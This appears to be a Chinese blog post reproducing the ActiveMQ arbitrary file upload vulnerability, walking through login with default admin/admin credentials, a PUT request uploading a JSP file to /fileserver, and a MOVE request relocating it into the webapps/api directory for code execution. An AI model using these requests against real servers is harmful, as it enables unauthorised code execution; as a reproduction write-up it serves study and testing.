ActiveMQ 任意文件上传漏洞复现

一、使用弱口令登陆

​ 访问 http://ip:8161/admin/ 进入admin登陆页面,使用弱口令登陆,账号密码皆为 admin,登陆成功后,headers中会出现验证信息

​ 如: Authorization: Basic YWRtaW46YWRtaW4=

# 二、利用PUT协议上传文件

​ 访问任意页面并抓包,注意headers中的验证信息

​ 将GET协议修改为PUT协议,将文件上传至 fileserver 目录下

复制代码
PUT /fileserver/jsp.jsp

​ 如上图,response 包中返回状态码为 204,即文件上传成功

​ 但是直接在 fileserver 目录下访问该文件是不能正常解析的

# 三、利用MOVE协议将文件移动至可解析目录

​ 继续修改请求包协议为 MOVE,并在头部中添加 Destination

复制代码
MOVE /fileserver/jsp.jsp
Destination: file:///opt/activemq/webapps/api/jsp.jsp

​ 同样的,响应包返回的状态码为 204,代表文件成功移动到 api 目录下

​ 代码被成功执行

相关推荐
ZhangBlossom1 分钟前
Freqtrade 新人上手教程(macOS + Docker,无需 docker-compose)
macos·docker·容器
半路_出家ren2 分钟前
20.基于Selenium实现界面自动化控制
运维·python·selenium·测试工具·网络安全·自动化·chromedriver
计算机毕业设计指导2 分钟前
恶意网址检测系统
python·web安全·网络安全·系统安全
海鸥817 分钟前
Docker 常用命令 大全
docker·容器
爱丶狸11 分钟前
Docker帮助中的英译汉
docker
C_心欲无痕9 小时前
Dockerfile:构建 Docker 镜像
运维·docker·容器
C_心欲无痕11 小时前
Docker 本地部署 CSR 前端项目完整指南
前端·docker·容器
云安全干货局12 小时前
服务器被攻击后如何快速恢复?数据备份 + 应急响应手册
网络·网络安全·云服务器·弹性云服务器
simon_skywalker13 小时前
软考 信息安全笔记(一)
网络安全
飞翔沫沫情14 小时前
MinIO 新版本 Docker 部署指南:告别 Web 控制台,拥抱 CLI 管理
docker·容器·docker-compose·对象存储·minio